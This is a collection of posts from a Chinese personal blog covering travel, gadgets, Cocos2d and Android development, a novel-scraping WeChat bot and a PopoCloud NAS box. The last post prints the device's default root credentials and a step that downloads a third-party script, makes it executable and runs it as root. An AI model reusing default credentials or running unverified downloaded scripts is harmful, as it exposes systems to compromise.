MyFreeCams 自动录制

突然看到MyFreeCams,然后上面有一个亚洲妹纸很好看,但是又很墨迹,一直在老老实实吃香蕉,吃了一根又一根。等不急了,打算录下来以后再看。
就有了此文。

首先Google了一下是否有录像MFC的,结果全是微软家的MFC。
然后我就直接Github上,找到了这个项目地址:
MFC-Node

mfc-node lets you follow and record your favorite models’ shows on myfreecams.com

博客居然被抄袭了

看图,我3年前的一篇关于Cocos2d-Html5的文章居然被这个博客转载了。
这本来没什么,可是他的Github里只有一个经常提交的Spider,然后博客里有300篇文章。
却全部是转载的,这这行为很讨厌啊。
2016/07/201607126.png

如何处理博客图片

0x00 图片压缩

由于不放心自动压缩后上传,所以使用这个脚本压缩一下图片。检查后再上传图片。
使用的是Tinypng 这个网站的API,需要在线申请一个Key,然后每个月可以压缩500张图片。
接着使用这个repo 的python 脚本 TinyPng
python tinypng.py -d test
这样就压缩了test目录下的所有图片。

胖屌进城 - Open Your Russia

0x01 引言

2014年的12月我就应该去俄罗斯了,虽然哪些交换生都说是免签的,但我还是担心我的中国护照和他们不一样,我只能作罢。然后我查到了是乘坐Viking Line 去ST. PeterSburge可以有3天免签,我才把俄罗斯放入行程中。确切的说是我2016年的年度计划。然后选了一个月黑风高的好日子,我找了一个俄罗斯当地的学生导游团。啊哈哈,想不到吧。一直讨厌跟团的我居然选择了一个导游。这也是经过我深思熟虑的结果。听说老毛子的假警察,小偷又多,还不会英文。最重要的是,我怎么打俄语?给你们来一张俄罗斯的地铁图体验一下

每次看到俄语的宣传单我都会反过来看一下。然而这也是让这次旅行变得更为美妙的一个决定。

单手捏鸡蛋

今天看到一个视频说太极功夫可以捏爆鸡蛋。30分钟左右。

太极擒拿 【体验真功夫20150619】 720P

但是我高中的时候捏爆过啊,被很多朋友质疑,他们以前还不信。

冰箱掏出一盒鸡蛋我就捏爆2个。直接爆的,没用手指头扣,视频里的大师手上还转了一下。

记得以前吃苹果和橘子可以直接单手扳开,好分给同桌吃。她嫌太脏不要,我就没干过了。

电动牙刷

今天逛超市,看到了超市有电动牙刷打折。原本打算买一个oral-b 700的,价格才20欧的样子。可惜同伴说这种低价的机械式效果不好。会震得手麻。他们用过60RMB的,也用过100欧的oral-b。我手机查查这些型号,发现和国内的都对不上。国内的都是d12,d16这样的,这边却是700 这种型号。 看来看去,找到一个Colgate ProClinical A1500。声波牙刷,原价99,打折后59欧。
听说电动牙刷比较干净,而且不容易牙龈出血,我这个每天都刷牙出血的还是必须买一个了。
虽然我知道飞利浦的比较好,但是我也没看到飞利浦的啊。
就是这一款了。

Wireshark & Ethereal Network Protocol Analyzer Toolkit

去年从学校捡来的一本书,原本过年前就应该看完的,结果被我拖到了现在。
毫无疑问是一本工具书,刚好我做的项目需要做pcap包的数据分析,就翻翻了。
其实并不需要看的很仔细,这本书就是介绍一下Wireshark相关的。
由于大部分的知识我都有,所以只花了2个小时浏览了一遍。
而且我惊奇的发现,我阅读这种书籍毫无压力。

VPS Bench

总是会买各种各样的VPS,买完就要测速,然后就是闲着。真的是浪费生命浪费钱啊。
这里总结一下买来VPS后如何了解VPS的情况。
推荐在你常用的时候跑测试,毕竟服务器的负载不一样跑出来的结果也不一样。
我用AWS的机器来测试一下。

WordPress迁移到Hexo

迁移WordPress

使用插件 hexo-migrator-wordpress

Export your WordPress in “Tools” → “Export” → “WordPress” in your dashboard.
Execute the following command after installed. source is the file path or URL of WordPress export file.

$ npm install hexo-migrator-wordpress --save
$ hexo migrate wordpress <source>

OpenCV3.0 + IntelliJ IDEA

OpenCV3.0 + IntelliJ IDEA

装备装VistualStudio2015的,但是被他搞疯掉了。装在系统盘以外但是还是花掉了我20G的系统盘,然后撑爆了C盘,终止安装。 之后删除了一些东西,卸载重装,装不上了。遂重装系统,改用Java版。

官方提供了一个Eclipse的环境设置文档,但是并不打算用Eclipse。使用的是 Intellij IDEA.

Slush 的前奏-Junction: 北欧最大Hackton

Slush is the focal point for European and Asian startups and tech talent to meet with top-tier international investors, executives and media.
2015年10月13日,芬兰顶尖创新创业机构Slush在中关村软件园主办了“SlushChina2015”。今年的Slush将于11月11日-12日,与赫尔辛基举办。而在此之前,有一个相对小型的Hackthon活动— Junction.

Junction 2015 与11月7-8号 在Helsinki举行。参与者超过500人,赞助商也都是是财大气粗的 Uber,Airbnb,OP 等公司。第一名将被选取以初创企业的身份参加Slush,其他的奖励也都是5000€的upcloud, Raspiberry,Apple TV, IBM实验室之旅等。

2个周末从入门到放弃 - 跳伞

报名花了230欧,然后拿到了一个跳伞的眼镜,并且可以跳2次。
没有报Tandom的双人跳,就只能自己培训然后开始跳了。
据说有这项运动以来芬兰一共才死65个人,还是很安全的。

第一次跳只能从1000米左右开始跳,后面才能慢慢跳到3000米的高度。
而且前面4次必须是用拉钩自动开伞的,后面才能自己手动开伞。

15092603.jpg

看看最近关于黑客的电影

主要有这几部,持续更新。

我是谁,没有安全的系统

这部电影很值得一看,最后多重反转,而且黑客案例让人热血沸腾。虽然这些案例是俺们都yy过的。

社会工程才是最牛逼的。

Thinkpad E531 安装Mac 10.10

因为想做IOS开发,这个笔记本又是刚买,所以必须安装黑苹果了。

花了一个星期下了几个镜像和尝试了几种安装方式,最后搞定了,虽然有很多BUG。

1. 虚拟机

博客待办事项

自动博客备份(数据库+文件)- 七牛云+sae jobs

垃圾评论过滤,插件没用啊。- 数据库批量删了,使用多说

评论者头像被墙了,wtf。 - 修改主题,使用多说的头像服务

买域名。 DoublesU.com

更新文章啊,混蛋。

代码格式化插件

文章内容的格式不好看

Markdown

后台不能生成图片缩略图 手动编辑吧,在线处理太慢,不如本地传小图

全自动小说订阅微信推送

一直有看小说的习惯,其他的作者的不稳定更新让人很烦恼,而我一直是贴吧看的小说,很没节操么,但是穷屌丝就这个样子了。

然后决定自己利用微信写一个小说推送平台,就不用每次一个一个贴吧去切换了,当然用户只是我自己啦。

由于vps坑爹的跑路了,所以转回sae上跑博客,域名也就不绑定了,这个采集本来放openshift上,但是被墙了,好噶,继续sae。

我们的目标是: 全自动采集推送小说到微信 ,这里大概分3个部分

文章只写实现过程和注意要点,代码会放在最后的。

1. 自动小说采集

首先选定一个小说网址,我找到一个,google的排名很靠前啊。唐家三少的绝世唐门,然后看源码,分别要匹配一下他的目录页和内容页。

view-source:http://www.douluodalu.com.cn/jueshitangmen 看了他的源码发现每次都抓这个页面很费流量,而且也不好排除其他的url是否为小说的更新,然后就从第一章开始采集,每次加载他的下一页。
QQ20140202175818

打开 第一章 的页面源码 view-source:http://www.douluodalu.com.cn/jueshitangmen/6860.html 很自然的找到需要采集的标签, 需要 标题,时间,内容,下一页。如果下一页为空就是到了更新的最后一章了。然后程序就从这个入口开始,采集这几个标签,一直到下一页为空就停止,下次再取最后一个文章地址作为开头继续采集。 先写个函数过滤掉重复,空白,html标签等。空白有空格,n个空格,空行,tab键,等等,所以过滤的正则找了好多,最后效果比较好。然后写正则匹配,取到这几个标签。

QQ20140202180553

然后定义一个数据表作为采集的中转存储

CREATE TABLE IF NOT EXISTS articles (
id int(9) NOT NULL auto_increment,
title varchar(500) NOT NULL,
time datetime default NULL,
url varchar(500) NOT NULL,
content text NOT NULL,
UNIQUE KEY id (id)
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

由于第一次任务比较多,所以可能需要多访问几次这个页面,http://iniu.sinaapp.com/app/caiji4sae.php

然后以后就可以使用cron任务,每天自动采集了。

sae上的定时任务是写一个config.yaml的文件,不是很明白,然后找到一个工具http://saetools.sinaapp.com/cron.html

OK,自动生成了如下的信息,由于唐家三少的小说每天晚上12点,早上7点,下午5点左右会更新,所以4个小说检查一次差不多,就看这个小说网站及时不及时了。

appname: iniu
version: 1
cron:

  • description: 自动采集
    url: app/caiji4sae.php
    schedule: every 4 hours

QQ20140203010322

2.小说入库Wordpress

发布这里费了点事,其实可以使用xmlrpc , 邮箱发布等,那样采集程序就不用放一个地方跑,sae上放采集程序不是很好,日志什么的很麻烦,流量也贵,本地读写也没有,但是速度快,不然用国外的微信公众平台会没响应。(当然是指免费的云空间)

我在这里使用了直接写数据库的方式,需要先分析一下wordpres的数据表。

wordpress数据表定义如下,由于我们没有图片,所以 存储文章的包括 wp_posts,wp_term_relationships

wp_commentmeta:存储评论的元数据
wp_comments:存储评论
wp_links:存储友情链接(Blogroll)
wp_options:存储WordPress系统选项和插件、主题配置
wp_postmeta:存储文章(包括页面、上传文件、修订)的元数据
wp_posts:存储文章(包括页面、上传文件、修订)
wp_terms:存储每个目录、标签
wp_term_relationships:存储每个文章、链接和对应分类的关系
wp_term_taxonomy:存储每个目录、标签所对应的分类
wp_usermeta:存储用户的元数据
wp_users:存储用户

然后看下表结构,posts中需要改的字段和我们前面的标题,内容,时间对应,还剩下不变的作者ID,和一个guid。这个guid是对应一个url

http://dlinux.sinaapp.com/?p=1 数值是自增id,所以写的语句还要获取当前插入的自增ID,然后在wp_term_relationships 也需要这个自增id,插入对应的目录中。

wp_posts
ID:自增唯一ID
post_author:对应作者ID
post_date:发布时间
post_date_gmt:发布时间(GMT+0时间)
post_content:正文
post_title:标题
post_excerpt:摘录
post_status:文章状态(publish/auto-draft/inherit等)
comment_status:评论状态(open/closed)
ping_status:PING状态(open/closed)
post_password:文章密码
post_name:文章缩略名
to_ping:未知
pinged:已经PING过的链接
post_modified:修改时间
post_modified_gmt:修改时间(GMT+0时间)
post_content_filtered:未知
post_parent:父文章,主要用于PAGE
guid:未知
menu_order:排序ID
post_type:文章类型(post/page等)
post_mime_type:MIME类型
comment_count:评论总数

 

wp_term_relationships
object_id:对应文章ID/链接ID
term_taxonomy_id:对应分类方法ID
term_order:排序

 

取自增id网上有4个方法,但好像都是要插入之后才能取到,我每次取都是0。所以这里利用max(ID)来取得,但是这个方法不适合高并发的网站,这里到没问题。有什么方法好点麻烦告诉我一声。

$result = mysql_query(“select max(ID) from wp_posts;”,$connect);

$row = mysql_fetch_row($result);

$last_id = $row[0] +1 ; //然后拼接地址为 ‘http://iniu.sinaapp.com/?p={$last_id}

还没完,选择一个单本wordpress小说主题Danx,然后使用Any Mobile Theme 为桌面和手机分别适配2个不同主题,移动主题选择好像不多,我使用了mobilepack 。当然,主题都需要修改一下下,很多不需要的去掉了。

OK到这里就基本完成了数据的部分了,然后就是推送了。可以预览一下我们的网站和原网站的对比了。

QQ20140202190523 QQ20140202190640

3.微信公众平台推送

这里看需求,可以自己写,我的上一个微信平台就是自己写的,也可以用3方的平台,开源的平台,但是这里我用了个wordpress的插件。任务不多,所以这个应该可以满足的。置于消息实时推送,只能放后面再说,今天时间不多了。找到我爱水煮鱼的微信机器人,安装上配置一下后台地址就OK,不过只有查找功能,最新的消息还没有,等会添加。

QQ20140203005917

最终的实现效果就是这样了,看起来还不错,不过主题好像没有适配好。20140203005830 20140203010022 20140203010039

最后访问地址 http://iniu.sinaapp.com

所有用到的附件打包 spider

如何一次清空Gmail邮件

Gmail已经5000+的邮件了,都不是有用的邮件,就想着怎么清楚它。弄了半天发现几个方法,分享一下。

*使用过滤器

1,在设置里面创建过滤器,
2,条件设为不包含“軣“(尽量选择生僻字),
3,根据此条件创建过滤器,选择删除邮件,同时勾选”同时将此过滤器应用于与 个会话匹配的xxx“
4,到已删除邮件里选择所有,然后在下拉栏里再选择”所有文件“,点删除。

 

*利用imap协议

去申请一个新的别的地方的信箱,然后设置一下远程收取,并设置收取后删除原件就可以了

 

*全选收件箱

其实正确的操作方法是这样的:
1、点击邮件勾选标签栏上最顶部的勾选框旁的小三角,在下拉菜单里选择“全部”,这样就勾选了当前页面的50个会话。
2、这时候会自动弹出一个提示:“此页中的所有 50 会话都已选中。’选择收件箱’ 中的所有 xxx 个会话”
3、点击“选择收件箱”,这个时候提示会显示为:已选中 收件箱 中的所有xxx会话。清除选中
4、再点击快捷栏上面的垃圾箱图标就可以一次性全部删除。

 

比较推荐使用过滤器,真的很强大,可以筛选出一些邮件保留。

另外,由于没有装插件,博客的垃圾评论太多了,除了机器人好像没人气似的。

Cocos2d JSB 记录贴

搞了一个礼拜的Jsbinding了,东拼西凑也能在手机上跑起来了。

官方的demo在弄好环境的第2天就跑动了,但是自己创建的工程死活跑不动。这里记录遇到的坑。

1. 创建的工程导入eclipse缺少构建器
没办法,把官方的那个飞机拖出来,里面代码改掉,改成自己的。
2.远程调试
搞了很久的远程调试,依然连不上 。
Firefox提供了远程调试,需要安装最新版本的firefox,在开发工具里面设置打开远程调试。
然后设置Android https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android
修改代码支持远程调试 https://github.com/cocos2d/cocos2d-x/blob/f9c34bc18ee061f1964d8c7d100f0c4fce9c6ee5/cocos/scripting/javascript/script/debugger/README.md (didn’t run)
注意端口不是6000

3.运行后黑屏等错误
出错了,虽然logcat里经常看不到出错的信息,但是就是出错了。 手动排查一下,可能就是哪个js文件不能绑定上去。
比如说 NotificationCenter,需要复制到自己的工程中作为js引用,但是不能直接绑定,但是应该是可以的,原因待定。
比如说 setFlippedX 在 html5是 ok的,但是在jsb中要使用 setFlipX (3.0版本修复 http://www.cocos2d-x.org/forums/20/topics/41167)。

4.分辨率错误
实在是不好弄,到处错位,而且只有show_all不会黑屏

最后,游戏demo预期图应该是这样的。
1 2 3 4

5

 

Cocos2d-html5 touch事件总结

可以说,当初困扰最久的就是touch事件。各个层上重叠区域,可视区域的消息传递机制不知道如何处理。现在又花了1天时间把以前的总结一下,再了解了cocos2d内部是如何处理touch事件的。

首先看一下api当中所有关于touch事件的类

QQ20131218161329

cc.Touch:它封装了触摸点,可以通过locationInView函数返回一个cc.Point。
cc.TouchDelegate:它是触摸事件委托,就是系统捕捉到触摸事件后交由它或者它的子类处理,所以我们在处理触屏事件时,必须得继承它。它封装了下面这些处理触屏事件的函数:

onTouchBegan:function (touch, event) {
},
onTouchMoved:function (touch, event) {
},
onTouchEnded:function (touch, event) {
},
onTouchCancelled:function (touch, event) {
},
onTouchesBegan:function (touches, event) {
},
onTouchesMoved:function (touches, event) {
},
onTouchesEnded:function (touches, event) {
},
onTouchesCancelled:function (touches, event) {
},

 

cc.TargetedTouchDelegatecc.StandardTouchDelegate cc.TouchDelegate 的子类,他们分别处理单点触摸和多点事件。

cc.TouchHandler:封装了cc.TouchDelegate和其对应的优先级,优先级越高,分发的时候越容易获得事件处理权,

cc.TouchDispatcher:实现触摸事件分发,它封装了下面这两个函数,目的就是添加触摸支持

_addStandardDelegate:function (delegate, priority)

_addTargetedDelegate:function (delegate, priority, swallowsTouches)

不过可以使用 下面三个函数来注册,卸载触摸事件

cc.registerTargetedDelegate = function(priority, swallowsTouches, delegate) //注册单点触摸事件

cc.registerStandardDelegate = function(delegate, priority) //注册多点触摸事件

cc.unregisterTouchDelegate = function(delegate) //卸载触摸事件

QQ20131218161231

更加详细的可以查看这篇博客:http://codingnow.cn/cocos2d-x/783.html

触摸事件的优先级和消息链

虽然已经能响应触摸消息了,但是还是有很多问题没有处理的,比如说谁先谁后,装备栏覆盖了属性栏,那么消息就应该在装备栏被消化掉,属性栏就不应该收到消息等等。

消息拦截:

cc.StandardTouchDelegate** **将所有的Touch信息直接传递给实现该协议的对象,而cc.TargetedTouchDelegate 则要求实现该代理的类一次只能处理一个事件,并且吃掉该事件,不再传播(swallowTouches=YES;)。

当然还是需要在处理完onTouch 事件后返回false 或者的true的。只不过在onTouchesBegan 中无论返回 true 或者false 都是可以继续传递的,而onTouchBegan 中返回false 可以继续传递,true则被消化掉了。

不清楚的可以查看这篇博文:http://blog.csdn.net/tskyfree/article/details/8249689

优先级:

优先级的值越小优先级反而越高,也就能先响应事件(CCMenu的默认值是-128)

cc.TargetedTouchDelegate比cc.StandardTouchDelegate优先级高

cocos2d把响应事件的对像放入一个栈中,用先进后出的规率来响应事件。可以设置响应的优先级 -128 - 128,最上层的优先级是-128(即值越小越先响应事件)。

响应的规则:

  • 不同优先级先按优先级响应(即无视入栈顺序,先按优先级响应)
  • 同一优先级响应的顺序是先进后出。
  • 同一对像不能多次入栈,必须先从栈中移除才能再次加入。(也可能是最高响应等级的不能多次入栈)
  • 如果当前对像有优先响应顺序但没有响应事件,则会分发到后面的对像。
    给layer添加触摸事件:

首先要开启触摸, layer中可以在构造函数内调用 this.setTouchEnabled(true); 那么是单点还是多点事件?开始我也没注意,然后翻源代码才看到这一点,看图:

QQ20131218161328

所以,我们可以通过 this.setTouchMode(cc.TOUCH_ONE_BY_ONE); 来设置注册哪个事件,事件定义如下:QQ20131218161200

cc.TOUCH_ALL_AT_ONCE 是多点触摸 对应的是 StandarDelegate

cc.TOUCH_ONE_BY_ONE 是单点事件对应的是TargetedDelegate

然后再重载onTouchBegan 等事件就可以了,

onTouchesBegan: function (touch, event) {
cc.log(‘covered layer!!!’);
return false;
}

QQ20131218164643

 

本该重载onTouchBegan 但是错误的写为了onTouchesBegan会有这样的提示的QQ20131218161329

 

 

给精灵注册触摸事件

默认cc.Sprite是没有触摸事件的 ,不过我们可以依据layer的实现方法给他添加上去。主要用到这3个事件

cc.Director.getInstance().getTouchDispatcher()._addTargetedDelegate(delegate, priority, swallowsTouches);

cc.Director.getInstance().getTouchDispatcher()._addStandardDelegate(delegate, priority);

cc.Director.getInstance().getTouchDispatcher()._removeDelegate(delegate);

_addTargetedDelegate 单点触摸

第一个参数为代理目标,第二个为优先级,数值越小,触摸点就会先传递。
第三个为是否要吞掉触摸点,ture的话就是在ccTouchBegan返回true后触摸点就不再传递。

StandarDelegate 多点触摸 不能吞掉消息,所以少一个参数,最后就是不在需要触摸消息的时候注销掉它。

实现比较简单,只要继承一个精灵类,然后添加上这3个函数就可以实现点击精灵的动作了。

onEnter: function () {
cc.registerTargetedDelegate(cc.MENU_HANDLER_PRIORITY - 1, true, this);
this._super();
},
onExit: function () {
cc.unregisterTouchDelegate(this);
this._super();
},
onTouchBegan: function (touch, event) {
if (cc.rectContainsPoint(this.getBoundingBox(), touch.getLocation())) {
cc.log(‘Dont touch me!!!’);
return true;
} else {
return false;
};

}

mouse事件 和touch事件

mouse事件在touch的同级目录下有,但是默认api中是没有的,没有文档很就久没更新了。所以如果要使用的话替换touch为mouse就行了。 速度

但是mouse是不支持多点触控的,所以还是用touch吧。


问题
cc.Menu对像的默认的优先级是-128(即最高响应级别),cc.layer的默认响应级别是0,所以同时存在的情况下cc.Menu总是先响应触摸事件,并阻止层接收触摸事件,杯具的是新增一个面板层覆盖在cc.Menu按钮上方依然会被下面的按钮接收到触摸事件。

如果新增的层或其它对像中包含有CCMenu对像,因为该层被设为了最高优先级且阻止冒泡,该层上的CCMENU也不能响应事件了。这时只需要再将CCMenu对像用最高优先级重新入栈一次即可

最终解决办法

其实这个才是最重要的,不能解决知道了也没有用,

1.UILayer管理类

写一个ui层的manager ,然后每次遍历其中的ui layer,响应触摸事件 http://www.ityran.com/archives/4109

2.覆盖系统的多点触摸事件

就是给StandarDelegate 添加上TargetDelegate 一样的swap函数,能够吞掉事件消息。依然还是看这篇博客:http://codingnow.cn/cocos2d-x/783.html

基于cocos2d的事件响应规律我们知道新增的层要接收到触摸事件并阻止冒泡必须有大于cc.Menu的优先级,或等于cc.Menu的优先级但后入栈,即在每次层打开时重设为最高优先级。

cocos2d-html5+jsb+windows开发环境搭建

继续学习cocos2d-html5,想先熟悉一下jsbing。所以需要配置一下安装环境。主要还是 web 和 android,因为我也只会这2个,其他的都没有设备测试。

这里有一个官方文档的,但是似乎没成功,所以还是要靠自己:


一共需要安装挺多东西的,不过看需求了,但是 android+sdk+ndk+cocos2d-x 是最基本的,其他的只是为了方便。




1. JDK
2. eclipse
3. Android SDK
4. eclipse adt plugin (以上是android 开发环境)
5. Android NDK (Android交叉编译c++)
6. eclipse cdt plugin (c++开发插件,不开发可以不装)
7. cocos2d-x (游戏引擎 c++,jsb绑定)
8. cocos2d-html5 (开发使用的cocos2d版本)
9. webstrom (开发工具,notepad++感觉不够用了)
10. python (cocos2d 2.x版本以后管理代码都用python脚本了)
11. cygwin (本地编译c++工具)


1.cocos2d-x

由于是jsb,所以是3个都下, 用cocos2d-html5 开发,绑定到cocos2d-x上去。cocostudio是开发工具,可以省去以前很多资源处理的精力,下一篇会写他的使用。

QQ20131211102839




2.安装python

一定安装2.7版本的,安装完成后把安装目录加入系统path当中。

下载地址:http://www.python.org/


3.安装webstrom

不得不说是很不错的一款编辑器,到目前发现基本可以省略掉apache了,他内置了一个http服务器。

但是配色很让我心碎,没有我熟悉的notepad++ 或者 eclipse 的配色。最后只能自己编辑一下了。

默认好像中文是乱码吧,需要修改一个中文的字体,这是我的设置方案 :webstrom_setting 中文+eclipse keymap+notepad++配色。

下载解压,然后file—import setting找到这个jar包就可以了。

导入Cocos2d-html5的方法很简单,解压cocos2d-html5 的包到一个本地非中文目录,不要有空格,然后webstrom打开这个并设置为rootproject就成。由于代码全部导入了,所以会有智能提示。

如果有多个项目公用一个lib,可以添加一个cocos2d-html5 libarary。只要做到这一步就可以开始开发html5的游戏了。

其他更详细的配置可以在 http://www.ityran.com/archives/4857 看到

QQ20131211104758




4.安装cygwin

安装到不难,但是很麻烦

选一个版本下载,然后安装,其他的看看就知道了,所以只说一下要安装哪些组件。

安装时,在 Cygwin 默认安装配置没有安装gcc 编译器,我们必须用到的 Devel 类中的几个组件包,如果嫌找起来过于麻烦,可将Devel 类从Default改为Install 全部安装也可,组件包为:binutils,gcc ,gcc - mingw,gdb ,make QQ20131211115409



安装完成后,把cygwin路径加入系统path,然后运行cygwin,在弹出的命令行窗口输入:cygcheck -c cygwin命令,会打印出当前cygwin的版本和运行状态,如果status是ok的话,则cygwin运行正常。

然后依次输入gcc –v,g++ -v,make –v,gdb –v进行测试,如果都打印出版本信息和一些描述信息,至此,你的cygwin安装完成了!






5.安装Android开发环境

这个比较麻烦,所以可以参考其他教程:(必看这篇,没有写的很详细,所以看他的最好了)


JDK+Eclipse+Android SDK +ADT = CMCC_UDE

移动的这个集成包还是挺不错的,我最讨厌重复性的劳动了,比如说每次换电脑都要配环境。

cmcc_ude 可以省略 jdk,adt,eclipse 的安装,安装完成就OK。




然后安装cdt,查看eclipse版本,对应安装cdt。

cmcc_ude 的是3.7版本 对应名称为 Indigo,如果更新还是换版本了可以在readme中查看。


然后help->install 就可以了。可以在新建项目中看到c++的就是安装成功。


上诉安装过程中的java,sdk,ndk的路径都要加入系统path,推荐教程中有详细过程。


6.配置Android环境

由于是交叉编译,所以需要对project进行设置,就是使用cygwin编译c++代码,还有用ndk编译c++代码的。

过程就是添加一个构建器,这里使用cygwin编译c++代码。



右键project,properties–>builders,点击new–>program
name栏输入:Native_Builder

Location栏输入:C:\cygwin\bin\bash.exe

Arguments栏输入:–login -c “cd /cygdrive/d/game/android-ndk-r9b && make APP=SimpleGame”

这里的路径是ndk路径

再然后还是看上面推荐文章的第七章编译Android项目,实在懒的写了,都是一样的。



7.创建工程使用内置的python脚本

进入cocos2d-x-2.2.1->tools->project-creator,大家可以看到有一个create_project.py脚本



python create_project.py -project test -package com.example.test -language cpp

QQ20131211135451


然后会在cocos2d-x-2.2.1/project/test 中生成所有支持平台的项目QQ20131211135523


8.导入cocos2d-x项目到eclipse



现在以cocos2d-x-2.2\samples\Cpp\SimpleGame 这个项目来示例:

1. 导入lib cocos2d-x 到eclipse中,cocos2d-x-2.2\cocos2dx\platform\android\java,设置为isLibrary
2. 导入cocos2d-x-2.2\samples\Cpp\SimpleGame\proj.android 到eclipse中
3. 复制cocos2d-x-2.2\samples\Cpp\SimpleGame\Resources到cocos2d-x-2.2\samples\Cpp\SimpleGame\proj.android\assets中
4. 修改SimpleGame引用库为上面导入的,如果没出错的话
5. 复制cocos2d-x-2.2目录下的cocos2dx,CocosDenshion,extensions,external这4个目录到你的NDK的sources目录下,就是注册到path中的ndk路径下的sources



到这里,原生的应用已经可以跑在Android上了,模拟器太卡根本就没试,一直真机开发的。下面就是jsb绑定的过程了。


9.cocos2d-x jsbing

这个暂时还不知道如何搞定,但是系统提供的例子到可以正确运行。

导入D:\Game\cocos2d-x-2.2.1\samples\Javascript\MoonWarriors\proj.android 到eclipse

复制D:\Game\cocos2d-x-2.2.1\samples\Javascript\Shared\games\MoonWarriors 下所有的文件到 assets下,然后编译就ok。

参考文章:






最后,推荐一些很好的学习cocos2d的网站:

官方的:


api:



子龙山人 翻译了很多官方和国外的教程 :



cocostudio 中文版使用手册 :


上面的会了这里不是很需要,除非有其他问题就看这个:



泰然之家 翻译或者原创的文章:




交流论坛可能还是要去官方论坛,感觉国内的不是特别活跃,不过html5china 可以@陈升想,感谢大大回复我。



Android图表解决方案

由于要用到一个图表程序,花了几天时间,分享一下过程。

QQ20131129145508

A.使用achartengine
这是一个开源的图表引擎。以前用过,不过有个bug,更新不是很频繁。就是可以通过拖动把图表的x,y上限给扩充,禁止触控事件都不行。
而且使用很麻烦的说,看了他代码就知道,又丑又长。丑的令人发指。

QQ20131202110923

后面改写了另外的版本看起来还不错,不过这个下限可以被无限拖拽让人不能忍。

B.使用webview+ichartjs
差不多是通用的啦,嵌入一个webview,然后禁用掉所有的缩放功能,只打开javascript。
滚动条,视差,缩放,统统不要,屏幕的适配通过网页来完成。
原本是highcharts的,效果更好 而且网页变化能自动适配,不要再次redraw了,但是手机上不显示,换ichartjs了。

Android 2.x doesn’t have SVG support built in, so we have created a separate renderer based on the canvg library for this system. This solution has some limitations:

也就是说highcharts 是svg画的,ichartjs 是canvas画的,而手机一般是都支持canvas,所以这里看到html5的好处了,ichartjs就是html5的嘛。
把ichartjs 放在assets目录,网页写好一起放这里面,然后webview加载就ok。
// 设置缩放
settings.setSupportZoom(false);
settings.setBuiltInZoomControls(false);

// 设置加载进来的页面自适应手机屏幕
settings.setLoadWithOverviewMode(false);
settings.setUseWideViewPort(false);

看代码
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_chart_web);
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE); // 强制横屏
webView = (WebView) findViewById(R.id.chart_webView);

webView.setHorizontalScrollBarEnabled(false);//水平不显示
webView.setVerticalScrollBarEnabled(false); //垂直不显示

WebSettings settings = webView.getSettings();

// 设置字符集编码
settings.setDefaultTextEncodingName(“UTF-8”);

// 开启JavaScript支持
settings.setJavaScriptEnabled(true);

webView.getSettings().setRenderPriority(RenderPriority.HIGH);

// 设置缩放
settings.setSupportZoom(false);
settings.setBuiltInZoomControls(false);

// 设置加载进来的页面自适应手机屏幕
settings.setLoadWithOverviewMode(false);
settings.setUseWideViewPort(false);

webView.requestFocus();
webView.loadUrl(“file:///android_asset/chart.html”);

}

不过依然有问题,
1个是webview还是可以通过双指缩放,可以通过重写onTouchEvent干掉他,不过我还没搞。
http://stackoverflow.com/questions/5125851/enable-disable-zoom-in-android-webview
2个是webview加载js实在是太慢了,由于图表是js生成的,所以模拟器差不多5s才能显示,手机上到块很多,1-2s的样子。
这个样子确实不行,百度也没找到好方法,就将就一下啦。
3.这个解决了,很奇怪的问题,activity结束后webview不会销毁,然后再次打开这个activity就各种不正常,所以最后webView.onDestroy()掉

下面是讲下与js的交互实现过程,虽然有addJavascriptInterface() 可以使用,但是没有返回值的,js调用java才有返回值。
既然没有返回值,就用个简单的方法,
public void update(View view) {
webView.loadUrl(“javascript:setContentInfo(‘“ + getRemoteData() + “‘)”);
}
明白没?就是地址栏打个js进去,这样就实现了数据的更新。然后在getRemoteData()中封装好一个json数据 一定要返回String。

泡泡云盒子折腾笔记

双11买的泡泡云,易迅29块钱一个。配置还不错,今天才有网线来折腾一下。

晒个配置

CPU arm926EJ(SoC是AK9806),大概350Mhz(详细看下面)。

内置2GByte的flash存储(df查看剩余用户可用1.67G),256M内存(free查看剩余190M),ARMV5TE指令集支持,双USB(另一个标记为供电口的需要拆开外壳短接两个电阻位:NR127,NR128)。

ssh 连接上去看看。

SSH root:123456

Samba root:Popobox

Welcome to PopoCloud!

[root@PopoCloud ~]# cat /proc/cpuinfo
Processor : ARM926EJ-S rev 5 (v5l)
BogoMIPS : 179.40
Features : swp half thumb fastmult edsp java
CPU implementer : 0x41
CPU architecture: 5TEJ
CPU variant : 0x0
CPU part : 0x926
CPU revision : 5

Hardware : BOARD_AK9801ATHENA
Revision : 0000
Serial : 0000000000000000

 

[root@PopoCloud ~]# df -m
Filesystem 1M-blocks Used Available Use% Mounted on
/dev/root 349 205 144 59% /
tmpfs 64 0 64 0% /tmp
tmpfs 1 0 1 0% /dev
tmpfs 16 0 16 3% /var/volatile
tmpfs 0 0 0 0% /mnt/disks
/dev/sda1 7615 122 7493 2% /mnt/disks/sda1
/dev/mtdblock1 1672 11 1661 1% /mnt/flash

 

[root@PopoCloud ~]# uname -a
Linux PopoCloud 2.6.32.9-ak98 #6 PREEMPT Tue Aug 14 14:27:10 CST 2012 armv5tejl GNU/Linux

 

[root@PopoCloud ~]# dmesg | grep ‘CPU’
CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00053177
CPU: VIVT data cache, VIVT instruction cache
ANYKA CPU AK9801 (id 0x20090c00)
SLUB: Genslabs=11, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1
CPU: Testing write buffer coherency: ok
AK98: PLL 360 MHz, CPU Core 360 MHz, MEM 180 MHz, ASIC 90 MHz
NAND driver:L2_CPU_MODE
CPU Core > 340 MHz

 

1.装个迅雷

以下命令在putty里一条条复制粘帖就行了。

脚本会自动处理thunder_mounts.cfg,无需手动。

1.首先插上移动存储设备并挂载到目录(方法自己Google)

2.下载管理脚本
mkdir -p /opt/bin
rm -rf /opt/xunlei /opt/bin/xunlei
wget http://lazyzhu.com/file/xunlei -P /opt/bin && chmod +x /opt/bin/xunlei
export PATH=/opt/bin:$PATH
复制代码
3.下载部署迅雷远程主程序
xunlei setup
复制代码
